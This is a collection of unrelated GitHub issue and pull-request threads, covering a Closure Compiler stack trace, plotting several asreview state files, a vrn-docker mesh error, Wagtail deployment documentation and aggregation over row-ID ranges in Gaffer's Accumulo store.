|    217 | process . . . .  in com.google.javascript.jscomp.PhaseOptimizer
|   1987 | optimize         in com.google.javascript.jscomp.Compiler
|    769 | compileInternal  in     ''
|     93 | access$000       in     ''
|    655 | call . . . . . . in com.google.javascript.jscomp.Compiler$3
|    652 | call             in     ''
|    699 | call . . . . . . in com.google.javascript.jscomp.Compiler$4
|    334 | innerRun         in java.util.concurrent.FutureTask$Sync
|    166 | run . . . . . .  in java.util.concurrent.FutureTask
|   1110 | runWorker        in java.util.concurrent.ThreadPoolExecutor
|    603 | run . . . . . .  in java.util.concurrent.ThreadPoolExecutor$Worker
^    722 | run              in java.lang.Thread
—
Reply to this email directly or view it on GitHub.

new closure compiler build released in 2.7.0


OpenSource : 5.43 Explain everything related to Notary

Description 📜
Fixes #680

Type of change 📝

[x] Documentation (Content Creation in the form of codes or tutorials)

Domain of Contribution 📊

[x] Open Source

Checklist ✅

[x] I follow Contributing Guidelines & Code of conduct of this project.
[x] I have performed a self-review of my own code or work.
[x] I have commented my code, particularly in hard-to-understand areas.
[x] My changes generates no new warnings.
[x] I'm GWOC'21 contributor

Screenshots / Gif (Optional) 📸

@itsbittoosharma  Any updates ?

This is a very bad sign from the contributor point of view, I just req small filename change but no-reply :(
I have to fork your repo and do that change.

Sorry @Aryamanz29
I seriously didn't received any notification untill I checked just now regarding the status of PR.
Sorry for not replying


Plotting multiple statefiles dynamically.

The example for the new multiple plots code is as follows:
import matplotlib.pyplot as plt

from asreview import open_state
from asreviewcontrib.insights.plot import plot_recall

fig, ax = plt.subplots()

with open_state("tests/asreview_files/sim_van_de_schoot_2017_1.asreview") as s1:
    with open_state("tests/asreview_files/"
                    "sim_van_de_schoot_2017_logistic.asreview") as s2:
        plot_recall(ax,
                    [s1, s2],
                    legend_values=["Naive Bayes", "Logistic"],
                    legend_kwargs={'loc': 'lower center'})

fig.savefig("docs/example_multiple_lines.png")

However, how would one do this dynamically? open_state() method is returning a '_GeneratorContextManager' object, which implies that it is intended to be used as a context manager with the with statement. However, I can't dynamically open a cascading with statement, and I can't store the state for later using:
  for state_file in states:
      state = open_state(state_file)
      state_objs.append(state)

  plot_recall(ax, state_objs, **plot_kwargs)

Any advise for this implementation? I think I cannot manually manage the lifetime of the state objects and they must be used within a with block, and thus I am forced to call plot_recall separately.

Interesting question. It would be easier if the state class had an open and close method similar to Python's open. We have .close(), but .open() might be useful as well.
For your application, did you try:
https://github.com/asreview/asreview-insights/blob/873c93fe6fb998d071351586f6ffc85b4518ce67/asreviewcontrib/insights/utils.py#L45-L60

You can copy how the entrypoint does it, indeed using _iter_states. If we actually use _iter_states in one of the examples, we should make it public though. Also, I guess the docstring of the various plot functions could be improved, to say (generator of) asreview.state.SQLiteState instead of (list of) asreview.state.SQLiteState.


Remove dependency on 'num' + allow arbitrary integer types + use hexadecimal notation

This is PR #2, without the impl IdType for BigInt.

Thanks!

Thanks!


Results in vrn-docker

Hello, thank you so much for sharing your wonderful work.
I am new in 3D face reconstruction and I have some doubts when using vrn-docker.
I successfully ran the vrn-docker and got the result obj files, but the results did not look good.
When I open the obj files in meshlab, I got this error:

Error encountered while loading file:
"001.jpg.obj"
Error details: Identical vertex indices found in the same faces -- faces ignored

I ignored the error and open the file:

This seems strange.
Is this the right result, or what caused it?
How can I get better results?

There's a bit of noise, happens sometimes.  The face looks blocky because the marching cubes implementation available in Python doesn't make use of non-binary values. Matlab has a nicer function for doing this


Deployment docs could be improved

http://docs.wagtail.io/en/stable/howto/deploying.html#deploying-wagtail
Currently points to an outdated, hard to read bash script and Django's deployment docs.

Can i put a small tutorial for deployment in wagtail?

Yes please, that would be really helpful. Please feel free to ask any questions here

What have i do for do the tutorial?

The idea is to make a Wagtail equivalent of this: https://docs.djangoproject.com/en/1.7/howto/deployment/
The audience will be sysadmins deploying a Wagtail site to a server. Keep in mind that they may not be familar with Wagtails internals.
Django have already done most of the work for us so we only need to document certian differences (and link to the Django docs where possible).
Off the top of my head, here's a few differences:

These image libraries must be installed: libjpeg-dev libtiff-dev zlib1g-dev libfreetype6-dev liblcms2-dev
We need to mention that Wagtail works best with Elasticsearch and provide links to installation docs for that (and also point out the update_index command)
Wagtail uses django-compressor to compress the static assets of the Wagtail admin. So the docs must mention that the "django-admin compress" command should be run on every update (as well as first deployment)

Some deployment-related things are actually documented in: http://docs.wagtail.io/en/stable/howto/performance.html (so maybe we could integrate that into this)

Also mention the publish_scheduled_pages cron task when necessary.

I can't put the step needed for deploy in web faction, are a few, no much, install very well libsass, install wagtail, and then use the command for compressor, no more, is easy :D

From documentation sprint:
Deploying a Wagtail project is no different to deploying any Django project, thus first point to the Django deployment page.
There are several prerequisites:

Debian:
zlib1g-dev libjpeg-dev libpq-dev build-essential
RedHat:

zlib-devel libjpeg-devel gcc gcc-c++ postgresql-devel

Postgres > 9
Elasticsearch > 1.0 if using the ES backend

The other parts are non-essential and can be inferred from the different needs (e.g. Redis/Memcache for caching)

@kaedroho is this issue still relevant? The link in your opening comment is dead.

The deployment docs have been updated considerably since this ticket was opened. The instructions for old-school hosting on nginx/apache still defer to the Django docs, but that's a feature rather than a bug - better to do that than to duplicate work and risk having outdated instructions that we aren't actively testing for ourselves.


Add Tests For Summarising over RowId in accumulostore.

The ability to summarise over Column Qualifier, Visibility and Value in the accumulo store does not currently have any tests showing that this also means that with a range query it will aggregate these values over the range provided grouped by Column Family
I.e in a Graph of Edge's
A-B GROUP 1 Count 6
A-B GROUP 2 Count 4
A-C GROUP 1 Count 1
With the summarise option on, a range query of A-C would return 2 edges.
One (A-B+A-C) with a count of 7
And one A-B with a count of 4.

Can you clarify what this behaviour means? What is the first edge returned, i.e. what does (A-B+A-C) mean, what is the source and what is the destination?
This behaviour is not generally what is wanted from a range scan. Generally from a range scan you would just want those 3 edges returned. Is it possible to turn the behaviour described above off (and still do aggregation of the values over column family and visibility)?
If the data was:
A-1 GROUP1 Count 1
A-2 GROUP2 Count 2
A-3 GROUP1 Count 1
A-4 GROUP2 Count 2
...
A-1000000 GROUP1 Count 1
A-1000001 GROUP2 Count 2
then the the aggregated edge would contain a lot of data (i.e. whatever A-B+A-C means would be large), and if there were a lot of groups then a lot of data would need to be cached before it could be output.
In general this breaks the idea that the iterators read data, aggregating into one element, then when the next group is reached, the element is output - it's a very low state process.
Does this behaviour work across tablets? A-C might be in a different tablet (and on a different tablet server) to A-B. Does the aggregation work in this case?

"What is the first edge returned, i.e. what does (A-B+A-C) mean, what is the source and what is the destination?"
Currently -> A-B+A-C will be the summarisation of the properties and the source and Destination will be those of the last key returned by the iterator.
"Is it possible to turn the behaviour described above off (and still do aggregation of the values over column family and visibility)?"
Not currently, you can't aggregate over column families anyway but I assume you meant qualifier

The most common use case for range scans is to return all edges for vertices in a certain range, doing standard aggregation of properties over column qualifier (e.g. different time windows), e.g. if the graph is:
A->B GROUP1 date=20160101 count=10
A->B GROUP1 date=20160102 count=20
A->C GROUP1 date=20160101 count=5
B->E GROUP1 date=20160101 count=2
B->E GROUP1 date=20160102 count=3
C->F GROUP1 date=20160101 count=2
C->F GROUP1 date=20160102 count=4
D->G GROUP1 date=20160101 count=1
and we specify a range of B to C, the desired edges are:
B->E GROUP1 date=20160101-02 count=5
C->F GROUP1 date=20160101-02 count=6
From what you say, this is not currently supported and is not the standard meaning of doing aggregation in a range scan?
"Currently all aggregation assumes that all data for the provided ranges lives on the same tablet server, client side aggregation is needed for all cases of aggregation to catch cases where the desired ranges are split across tablet servers."
Is the client side aggregation implemented? If not then the current implementation will not always work and needs fixing.

"Is the client side aggregation implemented? If not then the current implementation will not always work and needs fixing."

I've Implemented a new Operation that takes one column family and uses this to Summarise over Range's of RowID's within that column family to create one summarised result for that range.
I ran into some questions when implementing Client Side Aggregation so this will be added later on a separate branch to the operation so at current results may be only partially aggregated particularly in large graphs.
Both methods of aggregation discussed above are possible, ROWID aggregation being a specific accumulo operation.

Merged into develop